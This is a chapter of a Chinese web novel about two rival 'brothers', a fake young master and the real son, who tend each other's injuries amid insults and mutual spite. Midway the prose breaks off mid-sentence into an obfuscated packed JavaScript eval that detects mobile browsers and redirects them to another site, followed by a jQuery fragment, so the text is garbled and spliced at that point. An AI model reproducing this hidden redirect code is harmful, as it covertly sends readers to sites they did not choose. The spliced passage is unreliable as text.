8. 第 8 章

作品:《恶毒病美人假少爷翻车后

    林琅礼嫌他脏?


    沈眠头皮一炸,不可置信,他还没有嫌弃林琅礼的床脏呢?可是偏过头去觑林琅礼的脸色,分明不是在说假话。


    这个土包子,装什么清高洁癖?沈眠愣了一下,委屈解释道:“有阿姨会来洗的,我不会洗床单。”


    林琅礼神色变得显而易见嫌恶了一点,像是在责怪沈眠为什么会如此废物。沈眠缩回脑袋,不去看林琅礼脸色。


    摔下楼时,沈眠被林琅礼用手臂护住了大半个身子,只有手肘处那块伤势重一些,因着他皮肤又格外粉白,便显得严重。


    沈眠直哼哼手臂痛,肩膀也痛,嗷完又暗暗怪起林琅礼:“你每次捏我胳膊都好大劲,上次就把我弄得好疼了。”


    林琅礼头皮突突地跳,很想质问“我们难道很熟吗?不许用这种恶心的语气跟我说话”,可是又担心沈眠哭起来没完没了。


    拆开纱布备用,林琅礼蘸了碘伏,可棉签刚碰上沈眠肌肤伤口处,床上的人便倒抽冷气叫出声:“好疼!”


    “碘伏疼什么疼?又不是酒精。”林琅礼动作顿住。


    “就是很疼!”沈眠歪过头瞪他,眼波里还带着愠色,“你是不是故意的?”


    林琅礼不说话,冷着脸重又拿起棉签,可动作到底放轻了些。


    但沈眠还是不依不饶,棉签挨上去没涂两下,又把手臂缩了回去,还推了一把林琅礼的手腕,皱着脸说:“林琅礼,你轻一点嘛。真的疼。”


    沈家人造了什么孽,摊上这么一个娇气包,林琅礼心力交瘁,很想弹沈眠一个脑崩。


    林琅礼神情晦涩,冷意渐浓:“那就不要上药,你滚出去。”


    沈眠不说话了,头又歪回去,埋在床单上,心里肯定在腹诽。


    他想了一想,记起刚回来那日沈辞伺候沈眠涂药的动作,慢吞吞地回想,无可奈何地模仿。


    沈眠不嗷了,皱着眉脸贴在床单上,偶尔撇他一眼,眼神里带着责怪——分明是不满意。


    “棉签好硬哦,你戳起来太用力,你不觉得吗?”


    “碘伏好凉,你房间冷气打太低了,吹起来更凉。”


    “你就是故意的!还装听不见我刚刚说的话!”


    林琅礼就当是小狗在乱叫,一概不理,自顾自地涂碘伏消毒、上药、包扎,还要分心去擒拿因为觉得难受而忍不住缩回胳膊的沈眠,折腾半天,才勉强处理好手肘的那小块伤。


    林琅礼以为这一场磨难结束了,可刚把纱布捆好,床上人又不知死活地拉起他睡衣衣摆。


    “后背还疼。”见林琅礼偏头看他,沈眠趴在床上把睡衣往上撩了点,露出后腰一片红肿的擦伤,“你小心点,别弄疼我。”


    林琅礼随意瞄过去,第一反应只觉得沈眠腰很细一道,皮肤格外雪白。


    再去看沈眠的脸,刚刚半是故意半是真心的觉得疼,眼眶里还有点水光,鼻尖、颧骨、腮边都泛着红,称得上梨花带雨。


    他心里忽然很不舒服,一种恶劣的念头钻出来,原先对沈眠的厌恶变得似乎没有那么纯粹,此时反倒带了一点轻慢的意味。


    真是天生的浪|货,对谁都一副这样熟稔亲密的姿态。


    想完又更觉得烦躁,这样一个脑袋空空的蠢东西,居然会让他分神,对林琅礼而言,已经是莫大的侮辱。


    身后没有动静,沈眠等了几秒,音量抬高:“你在干什么?”


    林琅礼回过神,冷哼一声,打量起沈眠的伤势。


    较之手臂,沈眠背部的伤痕,便要好上许多,至少没有被蹭破皮,只是有片片淤青横在肌肤上,很是惹眼。


    或许是察觉到了林琅礼在方才那短短几息之间情绪的变化,这会儿沈眠老实许多,低着头一声不吭。


    林琅礼简直是含着怒气在替沈眠上药,房间里的冷气怎么打得那样高?他出了一身汗,这股热津津的汗意让他心头发燥,再涂不下去了。


    草草最后几下,林琅礼起身收拾药箱。


    沈眠趴在床上等药酒晾干,见林琅礼动作怒气冲冲,以为是自己那会折腾林琅礼奏效,扰得对方心神不宁,暗暗得意。


    是的,他就是这样一个时刻不忘记恨林琅礼的小气鬼,就是坏蛋怎么了?


    林琅礼没多等,见药酒光泽变哑,立即赶人离开。


    走到门口,沈眠又想起什么,忽然回头,语气带着商量:“林琅礼,你真的不要我帮你涂吗?”


    “滚。”


    “噢,”沈眠应了,又说,“这个事情,你可不可以不要告诉沈辞还有大哥,我不想他们担心,他们要是知道我给你添了麻烦,肯定要骂我。”


    林琅礼拆床单的动作一顿,抬头看他:“担心?你是怕丢脸吧。”


    沈眠无辜回望:“你不要告诉他们嘛。”


    “滚回来,拿着床单被罩去洗。”


    沈眠想跑,被林琅礼三步并作两步逮住,揪着衣领扯了回来:“脏死了,你自己拆。”


    “不要,我赔给你好了,我不会干家务的。”


    林琅礼看他的眼神冷意不变,轻慢更甚:“等你以后被赶出沈家,这些活不会也要会。”


    沈眠恨恨盯着他:“你果然是想赶我走。”


    “不然呢?你以为自己是什么很讨人喜欢的东西吗?矫揉造作,心思恶毒,脑袋愚蠢,还身娇体弱,”林琅礼不留情面地讲完,带着明显打量物品的目光重重扫过沈眠浑身,“你这样一个废物,呵。”


    沈眠不信,他觉得林琅礼的视线好讨厌,像是完全物化他一般,言语也是如此,将他贬的一无是处。


    是,沈眠是承认自己有些坏心思。可也不至于如此吧?


    林琅礼分明是自己揣了阴狠想法,才会把这些套到他身上。


    要是自己真的反驳计较,他反而乘了林琅礼的心意,正所谓吵架不能被对方带入他的思维局限中,沈眠心里恨得已经呕血,面上却深呼吸两下,换上笑靥如花的脸色:“你怎么可以这么说我,爸爸妈妈都没有想过要赶我走。”


    “林琅礼,你不要对我这么坏,以后我们好好相处不好吗?今天我已经和你道歉了呀,你不原谅我没有关系,我以后会让你看见我的悔过之心的,以后你就是我好弟弟不好吗?”


    林琅礼眼神一寸一寸扫过沈眠的面孔,沈眠生得一副好皮囊,桃花瓣一样美丽的容颜,即便


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383274|184156||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有坏心也依旧看起来澄澈无比的眼,还有那张喋喋不休水红的嘴,当真是与其内心截然相反的面孔,他看得有些入迷,直到过了很久时间,林琅礼才缓缓开口:“沈眠,你千不该万不该来招惹我,你放心,你再有一点坏心思,我也不会放过你。”


    林琅礼不相信他的三言两语,在沈眠意料之中,可对方态度毫无软化,反而更添凛意,不由让沈眠僵了僵。


    又听林琅礼开口道:“好,我的好哥哥,那现在来帮你的好弟弟上药。”


    重音刻意在某些字词上停顿了一下,显然讥讽之意。


    沈眠忽然有些心慌,强撑着不回答,又被林琅礼捏住下巴用指腹磨了磨:“怎么?连装一下也不肯。”


    沈眠勉强笑了:“林琅礼,你不信我没关系,我是真的想对你好。”


    空调温度又被打低了些,沈眠觉得冷,却不敢阻拦林琅礼的举动。


    林琅礼坐在床边,脱下睡衣。


    他已经算上是成熟的男人,沈眠只知道林琅礼身形高瘦,却没想到对方身体蛰伏着一层肌肉,身形却格外流畅,有着恰到好处的美感。


    沈眠想到刚刚林琅礼讽他的“身娇体弱”,不由有些自惭形秽,可转念一想,他身体不好,是怎么也变不成壮壮模样的,何必比较自甘下风?


    沈眠觉得林琅礼给他上药时手笨,连沈辞也比不上。可轮到自己,那才叫一个笨手笨脚。


    他身后的伤,要比自己严重多了,一片淤青,还有不少破皮,有些地方甚至可见猩红血肉翻着。沈眠高兴了些。


    他给林琅礼上药,本就笨拙,下手又刻意没轻没重,有些地方还故意加重力道,棉签戳在血肉处反复按了按。


    林琅礼闷哼一声,语气掺冰:“你故意的?”


    “我没有!”沈眠在林琅礼身后笑眯眯的,语气却做出慌乱的样子,连忙收手,“我不是故意的,我就是从来都没有帮别人没上过药,弟弟,你忍一忍嘛。”


    一副好心却反遭白眼狼责怪的委屈样子。


    林琅礼没再说话,任由沈眠继续胡乱上药,连最后贴纱布时,也不重新净手,就那样随意糊弄包上去,很是敷衍。


    “好啦。”忙完手中的活,沈眠起身,收拾药箱,“谢谢弟弟今晚帮我上药,爸爸要是知道我们互帮互助,肯定会很开心的。”


    林琅礼看着沈眠认真自说自话的样子,眼神复杂,厌烦又多了几分。


    沈眠看着林琅礼脸色,知道他并无触动,心里啧了一声,暗道真是难搞。


    但面上还是犹如春风送暖,装模作样地嘱咐:“你记得,伤口不要碰水,如果哪里感到忽然不舒服,一定要去医院看哦。”


    林琅礼不理会,沈眠提着药箱往外走,等走到门口处,他又回头微微一笑,宛若夜色中的昙花,清艳艳的,格外动人。


    林琅礼听见沈眠轻声细语说:“谢谢你呀,弟弟,今天想岔了做了这样的错事,都怪我,你当时还护着我,无论你信不信,我都是感激你的,晚安,林琅礼。”


    喊他名字那三个字时故意拉长了音节,含混着音色,黏着软意。


    像是在勾|引人,又像只是错觉。